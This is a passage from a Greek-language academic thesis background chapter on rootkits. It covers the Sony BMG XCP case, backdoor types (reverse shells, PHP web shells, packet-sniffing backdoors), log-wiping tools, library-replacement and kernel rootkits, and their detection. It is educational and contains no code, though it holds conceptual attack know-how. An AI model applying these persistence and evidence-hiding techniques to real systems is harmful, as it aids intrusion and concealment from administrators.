λειτουργικό σύστημα, με αποτέλεσμα να είναι πολύ πιο δύσκολα ανιχνεύσιμα. Ω-
στόσο έχουν αναπτυχθεί κάποιες τεχνικές και εργαλεία ανίχνευσης προς αυτή την
κατεύθυνση.
    Το 2007 αλλά και το 2008 εμφανίσθηκαν τα rootkit “mood-nt” και “DR rootkit”
τα οποία εκμεταλλεύονται μια ειδική λειτουργία των επεξεργαστών σχετική την
διαδικασία εκσφαλμάτωσης των προγραμμάτων κατά την ανάπτυξή τους. Τα
rootkits αυτά είναι πρακτικά μη ανιχνεύσιμα, καθώς υπάρχουν μόνο θεωρητικές
προσεγγίσεις ως προς την ανίχνευση τους σε ερευνητικό επίπεδο.
    Στις μέρες μας, τα rootkits είναι πεδίο σημαντικής έρευνας τόσο για τους
hacker όσο και για την διεθνή επιστημονική κοινότητα, ενώ στοχεύουν όλα τα
διαφορετικά είδη λειτουργικών συστημάτων Unix (Linux, HP-UX, BSD, Solaris,
AIX, IRIX, MacOS…) και Windows. Πρόσφατα δημοσιεύθηκε εργασία πάνω στην
κατασκευή rootkit το οποίο δρα σε embedded λειτουργικό σύστημα, για την ακρί-
βεια στο λειτουργικό σύστημα Cisco IOS με το οποίο λειτουργούν οι διακομιστές
δικτύου της εταιρίας Cisco. [9]. Τέλος υπάρχουν ερευνητικές εργασίες πάνω στην
υλοποίηση rootkits για το bios του συστήματος, για firmware συσκευών και για
rootkits τα οποία εγκαθιστώνται στη μνήμη καρτών επέκτασης του συστήματος
μέσω του διαύλου PCI και δρουν με απευθείας πρόσβαση στη μνήμη (DMA).


2.2.1 Η περίπτωση της Sony BMG
Στις 31 Οκτωβρίου 2005, ένα μεγάλο σκάνδαλο ήρθε το φως της δημοσιότητας. Ο
ερευνητής Mark Russinovich ανακάλυψε [10] ότι κάποιοι ψηφιακοί δίσκοι μου-
σικής τους οποίους κατασκεύαζε η εταιρία παραγωγής Sony BMG χρησιμοποιούν
μια ειδική τεχνολογία προστασίας από αντιγραφή (DRM) με λειτουργίες rootkit.

6
                                                                     2.2. ΙΣΤΟΡΙΚΟ


Εκατομμύρια CD, συνολικά 70 διαφορετικών τίτλων, πωλήθηκαν είτε με την τεχνο-
λογία προστασίας αντιγραφής XCP της εταιρίας First4Internet είτε την τεχνολογία
MediaMax της εταιρίας SunComm. Η τεχνολογία XCP είναι η πιο διάσημη, καθώς
είναι μοιάζει περισσότερο σε ιό υπολογιστή.
   Η βασική ιδέα πίσω από την τεχνολογία προστασίας DRM είναι η εξής: Ο ψη-
φιακός δίσκος περιέχει ένα πρόγραμμα αναπαραγωγής και ελέγχου μουσικής το
οποίο περιορίζει τον αριθμό αντιτύπων που μπορούν να δημιουργηθούν, ενώ δεν
μπορεί να γίνει αναπαραγωγή των μουσικών αρχείων μέσω υπολογιστή με κάποιο
άλλο πρόγραμμα αναπαραγωγής μουσικής πέραν αυτού που περιλαμβάνει το CD.
Με σκοπό τον έλεγχο των περιορισμών DRM, το rootkit εγκαθίσταται κρυφά στο
σύστημα του αγοραστή ενώ το πρόγραμμα αναπαραγωγής ερευνά τον υπολογιστή
έτσι ώστε να ελέγξει τον τρόπο με τον οποίο ο χρήστης χρησιμοποιεί τον ψηφιακό
δίσκο. Μετά τη συλλογή των πληροφοριών το rootkit τις στέλνει σε έναν ιστότοπο
της εταιρίας στο Internet. To εργαλείο αναπαραγωγής μουσικής του CD σταμα-
τάει να λειτουργεί σε περίπτωση που με κάποιο τρόπο το rootkit απομακρυνθεί
από το σύστημα.
   Τόσο το XCP όσο και το MediaMax στοχεύουν σε συστήματα Windows εκμε-
ταλλευόμενα την λειτουργία αυτόματης εκτέλεσης (autorun). Η εγκατάσταση του
rootkit αρχίζει αυτόματα με την εισαγωγή του CD στον υπολογιστή του χρήστη.
Το XCP rootkit ανακατευθύνει αρκετές κλήσεις συστήματος (χρησιμοποιώντας
κακόβουλα τον πίνακα κλήσεων συστήματος) και έτσι κρύβει αρχεία, φακέλους,
κλειδιά του μητρώου και τις διεργασίες των οποίων το όνομα ξεκινά με $sys$. Οι
πληροφορίες οι οποίες μεταδίδονται στην εταιρία περιλαμβάνουν την διεύθυνση IP
καθώς και τις ακριβείς ημερομηνίες και ώρες εισαγωγής ψηφιακών δίσκων στον υ-
πολογιστή. Τόσο το XCP όσο και το MediaMax σχεδιάστηκαν ώστε να μην μπορούν
να ανιχνευθούν και να απομακρυνθούν εύκολα. Αρχικά δεν υπήρχαν προγράμ-
ματα απεγκατάστασης, ενώ μετά το σκάνδαλο η Sony πρότεινε ένα πρόγραμμα
απεγκατάστασης, ωστόσο ακόμη και αυτό δεν διέγραφε πλήρως όλα τα στοιχεία
του rootkit από το σύστημα του χρήστη.
   Εκτός των προφανών και άμεσων συνεπειών της εγκατάστασης των συγκεκρι-
μένων rootkit, με τον τρόπο αυτό ουσιαστικά δημιουργείται ακόμη ένα μεγάλο κε-
νό ασφαλείας στο σύστημα, καθώς οποιοδήποτε άλλο κακόβουλο λογισμικό μπο-
ρεί πια να παραμείνει κρυφό χρησιμοποιώντας όνομα διεργασίας που ξεκινά με
το ίδιο πρόθεμα. Πολλά κακόβουλα προγράμματα (ιοί, δούρειοι ίπποι..) εκμεταλ-
λεύτηκαν αυτό το κενό κατά το διάστημα μετά την ευρεία κυκλοφορία των CD.
   Στις 11 Νοεμβρίου 2005 η Sony ανακοίνωσε ότι διέκοψε προσωρινά την πα-

                                                                               7
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


ραγωγή των τίτλων με το συγκεκριμένο λογισμικό, ενώ στις 14 Νοεμβρίου 2005
ανακοίνωσε ότι έχει αρχίσει να αποσύρει από την κυκλοφορία τους δίσκους με το
λογισμικό XCP και MediaMax, ενώ αναλαμβάνει την αντικατάσταση των δίσκων
των χρηστών χωρίς χρέωση για τους συγκεκριμένους τίτλους.



2.3 Λειτουργικότητα των Rootkit
Η λειτουργικότητα των rootkits, βάσει των εργαλείων που περιλαμβάνουν και των
μεθόδων που χρησιμοποιούν, μπορεί να κατηγοριοποιηθεί σε τρεις κύριες ομάδες
[11]:

    • Διατήρηση της πρόσβασης

    • Επίθεση σε άλλα συστήματα

    • Καταστροφή αποδείξεων

Στη συνέχεια αναλύουμε τις παραπάνω ομάδες με περισσότερες λεπτομέρειες.


2.3.1 Διατήρηση της πρόσβασης
Ο τυπικός τρόπος διατήρησης της πρόσβασης στο σύστημα μετά από μια επιτυχή
εισβολή, και χωρίς να χρειάζεται εκ νέου εισβολή είναι μέσω προγραμμάτων “κερ-
κόπορτας” (backdoors). Υπάρχουν δύο διαφορετικά είδη τέτοιων προγραμμάτων,
αυτά που δρουν σε τοπικό επίπεδο στο σύστημα και επιτρέπουν την αναβάθμιση
των δικαιωμάτων ενός απλού χρήστη σε δικαιώματα υπερχρήστη, και αυτά που
δρουν με απομακρυσμένο τρόπο, τα οποία επιτρέπουν σε έναν απομακρυσμένο
χρήστη- εισβολέα να συνδεθεί στο σύστημα. Παρακάτω θα περιγράψουμε τις βα-
σικές τεχνικές των προγραμμάτων “κερκόπορτας” τα οποία δρουν με απομακρυ-
σμένο τρόπο, κατά σειρά αυξανόμενης δυνατότητας συγκάλυψης της λειτουργίας
τους από τον διαχειριστή του συστήματος.

    • Δαίμονας telnet ή κέλυφος συνδεδεμένο με θύρα TCP. Ο εισβολέας μετά την
        επίθεση μπορεί απλά να συνδέσει ένα κέλυφος ή ένα δαίμονα telnet σε μια
        TCP πόρτα δικτύου (συνήθως μεγάλου αύξοντα αριθμού). Με αυτό τον τρόπο
        θα μπορεί να επιστρέψει στο σύστημα συνδεόμενος στη συγκεκριμένη θύρα
        TCP μέσω Internet. O δαίμονας telnet και το κέλυφος έχουν το μειονέκτημα

8
                                                  2.3. ΛΕΙΤΟΥΡΓΙΚΟΤΗΤΑ ΤΩΝ ROOTKIT


 ότι μεταφέρουν την πληροφορία (εντολές) στο δίκτυο χωρίς καμία κρυπτο-
 γράφηση. Η μέθοδος αυτή είναι εύκολο να ανιχνευθεί με διάφορους τρόπους
 από τον διαχειριστή του συστήματος, και έχει εγκαταλειφθεί.

• Δαίμονας SSH συνδεδεμένος με θύρα TCP. Είναι μια μέθοδος που χρησιμο-
 ποιείται από τους λιγότερο προχωρημένους εισβολείς. Παρέχει σχετικά με-
 γάλη συγκάλυψη του εισβολέα εξαιτίας του γεγονότος ότι η σύνδεση μεταξύ
 εισβολέα και παραβιασμένου συστήματος είναι κρυπτογραφημένη. Πολλές
 φορές χρησιμοποιείται ειδικά τροποποιημένο πρόγραμμα SSH το οποίο δεν
 αφήνει ίχνη στα αρχεία καταγραφής του συστήματος. Η μέθοδος αυτή μπο-
 ρεί να προδοθεί μετά από μια προσεκτική εξωτερική εξέταση των ανοιχτών
 θυρών του συστήματος, με εργαλεία όπως το nmap.

• Κέλυφος CGI ή PHP. Είναι μια ιδιαίτερα δημοφιλής τεχνική στις μέρες μας
 και χρησιμοποιείται συχνά σε συνδυασμό με άλλες τεχνικές. Αν το παρα-
 βιασμένο σύστημα είναι διακομιστής περιεχομένου Internet (web server), ο
 εισβολέας μπορεί να χρησιμοποιήσει ένα ειδικά γραμμένο σενάριο σε γλώσσα
 PHP ή CGI, το οποίο θα του επιτρέπει να τρέξει εντολές στο σύστημα απευ-
 θείας μέσω μιας ιστοσελίδας με τα δικαιώματα του χρήστη του διακομιστή
 περιεχομένου.

• Ανάποδο κέλυφος (reverse shell). Είναι άλλη μια πολύ διαδεδομένη τεχνική
 και αρκετά δύσκολη στην ανίχνευση. Η ιδέα είναι ότι το πρόγραμμα – κερ-
 κόπορτα αντί να διατηρεί συνεχώς ανοιχτή μια θύρα του συστήματος ώστε
 να συνδεθεί απομακρυσμένα ο εισβολέας, το ίδιο το σύστημα συνδέεται πίσω
 στον εισβολέα. Η σύνδεση αυτή πολλές φορές είναι κωδικοποιημένη όπως
 στην παραπάνω περίπτωση. Ο μόνος τρόπος να ανιχνευθεί η μέθοδος αυ-
 τή είναι μέσω ενός εξωτερικού συστήματος παρακολούθησης δικτύου ή με
 ένα τοίχος προστασίας το οποίο δεν θα επιτρέπει τις συνδέσεις από έναν δια-
 κομιστή προς ένα σύστημα στο Internet. Πράγματι, τέτοιες συνδέσεις είναι
 πολύ ασυνήθιστες για τους περισσότερους διακομιστές και για αυτό το λόγο
 ένα σύστημα βασισμένο σε τεχνικές ανίχνευσης ανωμαλιών συμπεριφοράς
 μπορεί να τις ανιχνεύσει.

• Ανάποδο κέλυφος με συρράγωση (reverse tunneled shell). Είναι μια τεχνι-
 κή που αντιμετωπίζει το παραπάνω πρόβλημα της απαγόρευσης εξωτερικής
 επικοινωνίας μέσω τοίχους προστασίας, όταν έστω και μια θύρα είναι επιτρε-
 πόμενη. Μέσω ειδικών προγραμμάτων ο εισβολέας μπορεί να καταφέρει να

                                                                               9
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


      επικοινωνήσει από το παραβιασμένο σύστημα προς το σύστημα μέσω μιας
      ανοιχτής θύρας, όπως η θύρα 80 η οποία είναι ανοιχτή στους περισσότερους
      σταθμούς εργασίας. Η τεχνική αυτή είναι πολύ δύσκολα ανιχνεύσιμη από
      περιφερειακό επίπεδο, και προσπάθειες μπορούν να γίνουν μόνο στο ίδιο το
      σύστημα (host based intrusion detection).


     • Κερκόπορτα βασισμένη σε τεχνικές παρακολούθησης πακέτων δικτύου. Η
      μέθοδος αυτή παρέχει ένα πολύ υψηλό ποσοστό συγκάλυψης για τον ει-
      σβολέα. Στην περίπτωση αυτή το κακόβουλο πρόγραμμα παρακολουθεί τα
      πακέτα του δικτύου που φτάνουν στο παραβιασμένο σύστημα παθητικά, και
      με την παραλαβή ενός πακέτου φτιαγμένου από τον εισβολέα με συγκεκρι-
      μένο τρόπο, εκτελεί μια προγραμματισμένη εργασία ή εντολή. Οι απαντήσεις
      στον εισβολέα δίνονται με τροποποιημένη την διεύθυνση δικτύου του απο-
      στολέα, ώστε να μην μπορεί κάποιος να ξέρει από πιο σύστημα προήλθαν.
      Η τεχνική αυτή είναι πολύ νέα στα rootkit και υπάρχουν τρόποι ανίχνευσης
      πολύ περιορισμένης αποτελεσματικότητας, βασισμένοι σε συστήματα παρα-
      κολούθησής πακέτων στο ίδιο τοπικό δίκτυο με το παραβιασμένο σύστημα.


     Αξίζει να τονίσουμε ότι ορισμένες από τις παραπάνω κατηγορίες προγραμμάτων
κερκόπορτας απομακρυσμένου τρόπου δράσης είναι πολύ δύσκολο να ανιχνευ-
θούν. Το γεγονός αυτό οδηγεί πολλούς διαχειριστές συστημάτων σε πλήρη επα-
νεγκατάσταση του λειτουργικού συστήματος σε περιπτώσεις που αντιληφθούν ίχνη
από πιθανό rootkit, καθώς δεν μπορούν ποτέ να είναι σίγουροι για την πλήρη α-
φαίρεση όλων των στοιχείων του.
     Τα προγράμματα κερκόπορτας τα οποία δρουν σε τοπικό επίπεδο κατηγο-
ριοποιούνται κυρίως ανάλογα με το είδος του rootkit, αν πρόκειται δηλαδή για
rootkits επιπέδου χρήστη ή επιπέδου πυρήνα. Στα κεφάλαια 3 και 4 θα δούμε
τις δυο κατηγορίες αναλυτικά. Συνοπτικά, στα rootkits επιπέδου χρήστη η διατή-
ρηση τοπικής πρόσβασης στον εισβολέα παρέχεται συνήθως από τροποποιημένα
προγράμματα (trojans) τα οποία το rootkit εγκαθιστά. Τα προγράμματα αυτά πα-
ρέχουν αυξημένα δικαιώματα όταν τα ζητήσει ο κακόβουλος χρήστης μέσω μιας
ειδικής αλληλουχίας εντολών ενώ o κανονικός χρήστης δεν παρατηρεί κάποια δια-
φορά στο σύστημα. Στα rootkits επιπέδου πυρήνα η διατήρηση τοπικής πρόσβα-
σης παρέχεται μέσω μηχανισμών του πυρήνα και έτσι μπορούν να δοθούν αυξη-
μένα δικαιώματα σε συγκεκριμένους χρήστες του συστήματος με βάση το όνομα
χρήστη ή τον αριθμό ταυτοποίησης χρήστη.

10
                                                      2.3. ΛΕΙΤΟΥΡΓΙΚΟΤΗΤΑ ΤΩΝ ROOTKIT


   Είναι ενδιαφέρον να αναφερθεί ότι κάποια rootkits, στα πλαίσια της λειτουργί-
ας διατήρησης της πρόσβασης την οποία εξετάζουμε, αφιερώνουν χρόνο στην ανα-
βάθμιση της προστασίας του συστήματος. Στην ερευνά μας παρατηρήσαμε κάποια
rootkits τα οποία εγκαθιστούν ανανεώσεις ασφαλείας του λειτουργικού συστήμα-
τος και των προγραμμάτων το οποίο αυτό φιλοξενεί ή ακόμη ακολουθούν μια σειρά
βημάτων ισχυροποίησης της ασφάλειας του συστήματος μέσω αλλαγών σε αρχεί-
α ρυθμίσεων. Η ισχυροποίηση αυτή είναι χρήσιμη έτσι ώστε να μην παραβιαστεί
εκ νέου το σύστημα από διαφορετικό εισβολέα, κάτι το οποίο πιθανώς θα έχει ως
αποτέλεσμα ο αρχικός εισβολέας να χάσει τα δικαιώματά του. Φυσικά οι τεχνικές
αυτές τείνουν να εγκαταλειφθούν καθώς είναι πολύ παρεμβατικές στη λειτουργία
του συστήματος και έτσι ένας μέτριος διαχειριστής θα τις εντοπίσει.


2.3.2 Επίθεση σε άλλα συστήματα
Σχεδόν όλα τα rootkit επιπέδου χρήστη αλλά και κάποια από τα rootkit επιπέδου
πυρήνα, περιλαμβάνουν προγράμματα επίθεσης σε άλλα συστήματα, με στόχο την
αύξηση την περιοχής πρόσβασης του εισβολέα ή άλλους κακόβουλους σκοπούς.
Γενικά τα προγράμματα αυτά εμπίπτουν σε τρεις κατηγορίες.

Εργαλεία επίθεσης σε τοπικό επίπεδο. Οι τοπικές επιθέσεις (local exploits) γίνον-
     ται κυρίως για την επανάκτηση των αυξημένων δικαιωμάτων πρόσβασης στην
     περίπτωση που ο διαχειριστής του συστήματος έχει εντοπίσει το rootkit. Ερ-
     γαλεία αυτής της κατηγορίας τυπικά περιλαμβάνουν προγράμματα παρα-
     κολούθησης πακέτων δικτύου (sniffers) και προγράμματα εύρεσης κωδικών
     (password crackers).

Εργαλεία επίθεσης σε απομακρυσμένους στόχους. Τα εργαλεία αυτά περιλαμ-
     βάνουν συνήθως ένα απλό πρόγραμμα καταγραφής πακέτων δικτύου το ο-
     ποίο κρυφακούει την κίνηση του δικτύου του παραβιασμένου συστήματος
     και συγκεντρώνει ζεύγη ονομάτων χρηστών με κωδικούς τα οποία διακινούν-
     ται πολλές φορές σαν απλό κείμενο (clear text) σε πρωτόκολλα όπως το POP3,
     IMAP, SMPT, telnet, ftp και πολλά άλλα. Τα προγράμματα αυτά πολλές φο-
     ρές συγκεντρώνουν ολόκληρο το κείμενο των ηλεκτρονικών μηνυμάτων που
     διακινούνται μέσω των υπολογιστών του τοπικού δικτύου του παραβιασμένου
     συστήματος, καθώς το πρωτόκολλο SMTP βασίζεται σε απλό κείμενο. Σε αυ-
     τή την κατηγορία εργαλείων επίθεσης περιλαμβάνονται ακόμη προγράμμα-
     τα σάρωσης δικτύου για ευάλωτες εφαρμογές και ανοιχτές θύρες (network

                                                                                  11
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


        scanners) και προγράμματα αυτόματης επίθεσης για συγκεκριμένες αδυ-
        ναμίες (autorooters). Για παράδειγμα, ένα rootkit μπορεί να ερευνήσει ο-
        λόκληρο το τοπικό δίκτυο για συστήματα τα οποία δρουν σαν διακομιστές
        περιεχομένου web. Στη συνέχεια, η λίστα αυτή των συστημάτων μπορεί να
        τροφοδοτηθεί σε ένα εργαλείο autorooter το οποίο θα εκμεταλλευθεί μια α-
        δυναμία ασφαλείας του προγράμματος διακομιστή περιεχομένου έτσι ώστε
        να αποκτήσει πρόσβαση στο σύστημα.

Εργαλεία επίθεσης τύπου άρνησης πρόσβασης. (Denial of Service - DoS) Τα πε-
        ρισσότερα rootkit περιλαμβάνουν τουλάχιστον ένα πρόγραμμα για διεξαγω-
        γή επιθέσεων άρνησης πρόσβασης σε άλλα συστήματα τα οποία καθορίζει ο
        εισβολέας. Πολλές φορές αυτός είναι και ο μοναδικός στόχος του επιτιθέμε-
        νου, δηλαδή να συγκεντρώσει ένα μεγάλο αριθμό από συστήματα στα οποία
        έχει πρόσβαση οποιαδήποτε στιγμή, ώστε στη συνέχεια αυτά τα συστήματα
        να μπορούν να επιτεθούν σε κάποιο στόχο ταυτόχρονα.


2.3.3 Απόκρυψη αποδείξεων
Η τρίτη και τελευταία κατηγορία λειτουργικότητας των rootkit είναι αυτή που έχει
να κάνει με την απόκρυψη ή την καταστροφή αποδεικτικών στοιχείων. Η δρα-
στηριότητα αυτή περιλαμβάνει την απόκρυψη ή καταστροφή αποδείξεων που δη-
μιουργήθηκαν κατά την φάση της εισβολής και την παρεμπόδιση την δημιουργίας
νέων.
     Η πρώτη φάση, αυτή της αφαίρεσης των αποδείξεων της επίθεσης, περιλαμ-
βάνει την προσεκτική επεξεργασία των αρχείων καταγραφής του λειτουργικού συ-
στήματος, του ιστορικού χρήσης του κελύφους (shell history) και των αρχείων κα-
ταγραφής συγκεκριμένων εφαρμογών. Για παράδειγμα, στο λειτουργικό σύστημα
Linux, στο αρχείο /var/log/wtmp καταγράφεται ο χρόνος εισαγωγής του κάθε
χρήστη στο σύστημα. Το αρχείο αυτό είναι σε δυαδική μορφή στο σύστημα με
συνέπεια να μην είναι εύκολη η επεξεργασία του από τους χρήστες. Για το σκο-
πό αυτό έχει εμφανιστεί ένα μεγάλο πλήθος εργαλείων που αυτοματοποιούν την
διαδικασία όπως τα zap, zap2, και wted.
     Η παρεμπόδιση δημιουργίας νέων αποδεικτικών στοιχείων ή εγγραφών στα αρ-
χεία καταγραφής επιτυγχάνεται με διαφορετικούς τρόπους ανάλογα τον τύπο του
rootkit. Στα rootkits επιπέδου χρήστη η συνήθης τακτική ήταν παλαιότερα η τρο-
ποποίηση του δαίμονα syslog o οποίος είναι υπεύθυνος για την δημιουργία των
αρχείων καταγραφής, με τρόπο τέτοιο ώστε να μην δημιουργούνται εγγραφές από

12
                                                        2.4. ΤΑΞΙΝΟΜΗΣΗ ΤΩΝ ROOTKIT


τις διεργασίες του παραβιασμένου συστήματος τις οποίες ελέγχει ο εισβολέας. Συ-
νήθης τακτική είναι και η γενική απενεργοποίηση της δημιουργίας του ιστορικού
κελύφους (shell history) για τον λογαριασμό του κακόβουλου χρήστη. Τα rootkit
επιπέδου πυρήνα υπερέχουν σε αυτές τις δραστηριότητες. Χρησιμοποιώντας προ-
χωρημένες τεχνικές τροποποίησης κώδικα του πυρήνα του λειτουργικού συστή-
ματος μπορούν να επιτύχουν μεγάλη συγκάλυψη των πράξεων του κακόβουλου
χρήστη, όπως πλήρη απουσία καταγραφής από τον δαίμονα syslog για οτιδήποτε
σχετικό με συγκεκριμένα αρχεία ή συγκεκριμένες διεργασίες, χωρίς να τροποποι-
ηθεί ποτέ το εκτελέσιμο του δαίμονα.
   Βάση της ερευνάς μας, ένα rootkit συνήθως κρύβει από τον διαχειριστή τα
ίδια του τα αρχεία, άλλα αρχεία του εισβολέα τα οποία ταυτοποιούνται από μέρος
του ονόματός τους ή της θέσης τους, τις διεργασίες που ανήκουν στον εισβολέα
(όπως προγράμματα κερκόπορτας, προγράμματα παρακολούθησης πακέτων και
προγράμματα εύρεσης κωδικών) και συγκεκριμένες συνδέσεις δικτύου από και
προς το σύστημα του εισβολέα.


2.4 Ταξινόμηση των Rootkit
Η ομαδοποίηση των προγραμμάτων rootkit σε κατηγορίες γίνεται κυρίως με βάση
τον τρόπο λειτουργίας τους, ο οποίος βέβαια έχει συνήθως άμεση σχέση με τον
χρόνο κατά τον οποίο εμφανίστηκε το rootkit και τον βαθμό συγκάλυψης που ε-
πιτυγχάνει. Μπορεί να παρατηρηθεί ότι με την πάροδο του χρόνου έχουμε την
δημιουργία νέων κατηγοριών στις οποίες εντάσσονται rootkits τα οποία χρησι-
μοποιούν όλο και πιο προχωρημένες τεχνικές συγκάλυψης. Δεν μπορεί να γίνει
απόλυτος διαχωρισμός των κατηγοριών καθώς είναι σύνηθες φαινόμενο η ενσω-
μάτωση τεχνικών από χρονολογικά γειτονικές κατηγορίες σε ένα rootkit, όπου
χρησιμοποιείται η κάθε νέα μέθοδος ώστε να συγκαλύψει τις ανεπάρκειες των
προηγούμενων μεθόδων.
   Στις υποενότητες που ακολουθούν εξετάζονται διεξοδικά οι διάφορες κατηγο-
ρίες των rootkits, εκτός των rootkit επιπέδου χρήστη και επιπέδου πυρήνα, καθώς
υπάρχουν ειδικά κεφάλαια για την ανάλυσή αυτών.


2.4.1 Rootkits επιπέδου χρήστη
Τα πρώτα rootkits που εμφανίσθηκαν ήταν τα rootkits επιπέδου χρήστη ή δια-
φορετικά επιπέδου εφαρμογής (application rootkits). Συχνά αποκαλούνται και

                                                                               13
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


παραδοσιακά rootkits. Τα προγράμματα της κατηγορίας αυτής αρχικά δεν ή-
ταν τίποτε παραπάνω από απλά προγράμματα τα οποία εκτελούνταν με μορφή
δαίμονα παρέχοντας πρόσβαση στον κακόβουλο χρήστη τη στιγμή που το επιθυ-
μεί, δρούσαν δηλαδή σαν προγράμματα κερκόπορτας (βλ. 2.3.1). Αυτά τα προ-
γράμματα γίνονταν πολύ εύκολα αντιληπτά από κάποιον πεπειραμένο διαχειρι-
στή συστημάτων, με μεθόδους όπως εύρεση νέων διεργασιών οι οποίες εκτελούν-
ται στο σύστημα ή εύρεση λογισμικού που έχει εγκατασταθεί πρόσφατα χωρίς
άδεια. Η ευκολία αυτή στην ανίχνευση οδήγησε τους κακόβουλους χρήστες στην
ανάπτυξη πιο πολύπλοκων προγραμμάτων rootkit. Τα προγράμματα αυτά περι-
λαμβάνουν μια ομάδα από εκτελέσιμα αρχεία και κάποια σενάρια εγκατάστασης
(install scripts) καθώς και το πρόγραμμα κερκόπορτα το οποίο θα επιτρέψει την
μελλοντική πρόσβαση στο σύστημα για τον επιτιθέμενο. Κατά την επίθεση, μέσω
του σεναρίου εγκατάστασης, τα αυθεντικά εκτελέσιμα αρχεία του συστήματος αν-
τικαθιστώνται με αυτά που παρέχει το πακέτο του rootkit. Τα εκτελέσιμα αυτά
είναι εντολές και προγράμματα τα οποία ο διαχειριστής χρησιμοποιεί στην κα-
θημερινή του επαφή με το σύστημα και άρα βασίζεται σε αυτά για τον έλεγχο
του συστήματος. Με την αντικατάστασή τους με εκδόσεις τροποποιημένες από τον
κακόβουλο χρήστη ώστε να συγκαλύπτουν συγκεκριμένα αρχεία και συνδέσεις δι-
κτύου, ο διαχειριστής δεν μπορεί πλέον να ελέγξει αξιόπιστα το σύστημα, καθώς
δημιουργείται ένα κενό εμπιστοσύνης του διαχειριστή στα εργαλεία διαχείρισης.
     Η ανίχνευση των rootkits αυτής της κατηγορίας γίνεται μέσω μεθόδων ελέγ-
χου της ακεραιότητας των σημαντικών αρχείων του συστήματος, χρησιμοποιώντας
ψηφιακές υπογραφές και τιμές κατακερματισμού (hash values) για κάθε ένα από
τα αρχεία.
     Αναλυτική παρουσίαση των rootkit της κατηγορίας αυτής καθώς και των με-
θόδων ανίχνευσής θα γίνει στο κεφάλαιο 3.


2.4.2 Rootkits με χρήση βιβλιοθηκών
Μια συχνή παραλλαγή των rootkits της πρώτης κατηγορίας είναι αυτά τα οποία
εκμεταλλεύονται την χρήση κοινών βιβλιοθηκών από τα εκτελέσιμα του λειτουργι-
κού συστήματος.
     Για την επιστήμη υπολογιστών οι βιβλιοθήκες είναι συλλογές υπορουτίνων και
κλάσεων οι οποίες χρησιμοποιούνται κατά την ανάπτυξη, αλλά και κατά την ε-
κτέλεση τρίτων προγραμμάτων. Οι βιβλιοθήκες περιέχουν υποβοηθητικό κώδικα
και δεδομένα, παρέχοντας με αυτό τον τρόπο υπηρεσίες σε προγράμματα. Αυτό

14
                                                                    2.4. ΤΑΞΙΝΟΜΗΣΗ ΤΩΝ ROOTKIT


επιτρέπει το διαμοιρασμό και τη χρήση του κώδικα και των δεδομένων με αρθρωτό
τρόπο. Τα εκτελέσιμα αρχεία και οι βιβλιοθήκες αναφέρονται το ένα στον κώδικα
και τα δεδομένα του άλλου μέσω μιας διαδικασίας που ονομάζεται σύνδεση και
την πραγματοποιεί ο ”συνδέτης”. Τα σύγχρονα λειτουργικά συστήματα παρέχουν
βιβλιοθήκες οι οποίες υλοποιούν την πλειονότητα των υπηρεσιών του συστήματος.
Έτσι, το μεγαλύτερο μέρος του κώδικα που χρησιμοποιούν οι σύγχρονες εφαρ-
μογές παρέχεται από αυτές τις βιβλιοθήκες και δε χρειάζεται να γραφεί από την
αρχή για κάθε φορά.
      Τα rootkits της κατηγορίας αυτής εκμεταλλεύονται την παραπάνω λειτουργί-
α, αντικαθιστώντας αυθεντικές βιβλιοθήκες του συστήματος με κατάλληλα τροπο-
ποιημένες εκδόσεις οι οποίες, εκτός των κανονικών λειτουργιών, παρέχουν και
κάποιες ιδιαίτερες δυνατότητες στον κακόβουλο χρήστη.
      Το πιο διάσημο rootkit της κατηγορίας είναι το T0rnKit v8. Το συγκεκρι-
μένο χρησιμοποιεί μια ειδικά τροποποιημένη βιβλιοθήκη με όνομα libproc.a,
η οποία αντικαθιστά την αντίστοιχη βιβλιοθήκη συστήματος η οποία χρησιμοποιεί-
ται για την παροχή πληροφοριών για τις διεργασίες από τον χώρο πυρήνα (μέσω
του συστήματος αρχείων /proc) σε εργαλεία χρήστη όπως το ps και το top. Με
την αντικατάσταση της βιβλιοθήκης αυτής ο κακόβουλος χρήστης επιτυγχάνει την
αλλαγή των αποτελεσμάτων τα οποία επιστρέφουν τα παραπάνω εκτελέσιμα, απο-
φεύγοντας όμως την αντικατάσταση των ίδιων των εκτελέσιμων. Για παράδειγμα,
η χρήση μιας τέτοιας τροποποιημένης βιβλιοθήκης μπορεί να αποκρύψει την εμ-
φάνιση διεργασιών με συγκεκριμένο όνομα, φιλτράροντας τα δεδομένα που πα-
ρέχει το σύστημα αρχείων /proc.
      Ο συγκεκριμένος τρόπος δράσης είναι δυνατό να αποκαλυφθεί με αρκετούς
τρόπους.
      Ένας τρόπος είναι ο διαχειριστής του συστήματος να χρησιμοποιήσει κάποιο
εργαλείο, το οποίο κοιτώντας απευθείας στο σύστημα αρχείων /proc να συγκρίνει
τα δεδομένα με τα αποτελέσματα που παρέχει η εντολή ps.
      Ένας διαφορετικός και πολύ αποτελεσματικός τρόπος ανίχνευσης είναι να χρη-
σιμοποιήσει στατικά μεταγλωττισμένες εκδόσεις των εκτελέσιμων αρχείων όπως το
ps. Οι εκδόσεις αυτές δεν κάνουν χρήση των δυναμικών βιβλιοθηκών του συστή-
ματος, και έτσι παρέχουν αξιόπιστα αποτελέσματα2 . Στη συνέχεια μπορεί να γίνει
σύγκριση των αποτελεσμάτων των δύο εκδόσεων του κάθε εκτελέσιμου ώστε να
γίνουν εμφανείς οι διαφορές.

  2
      Πάντα στο βαθμό που τα περιεχόμενα του συστήματος αρχείων /proc είναι αξιόπιστα!


                                                                                           15
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


     Φυσικά και σε αυτή την κατηγορία ο τρόπος ανίχνευσης που βασίζεται σε ε-
πιβεβαίωση της ακεραιότητας και αυθεντικότητας των αρχείων είναι εφαρμόσιμος
και αποτελεσματικός.


2.4.3 Rootkits επιπέδου πυρήνα
Οι κακόβουλοι χρήστες γρήγορα κατάλαβαν ότι χρειάζονται πιο εξεζητημένες τε-
χνικές απόκρυψης πληροφοριών για να διατηρούν για περισσότερο χρόνο την
πρόσβαση στα παραβιασμένα συστήματα και έτσι δημιουργήθηκαν τα rootkits ε-
πιπέδου πυρήνα. Εμφανίστηκαν αρχικά σαν κακόβουλα αρθρώματα πυρήνα.
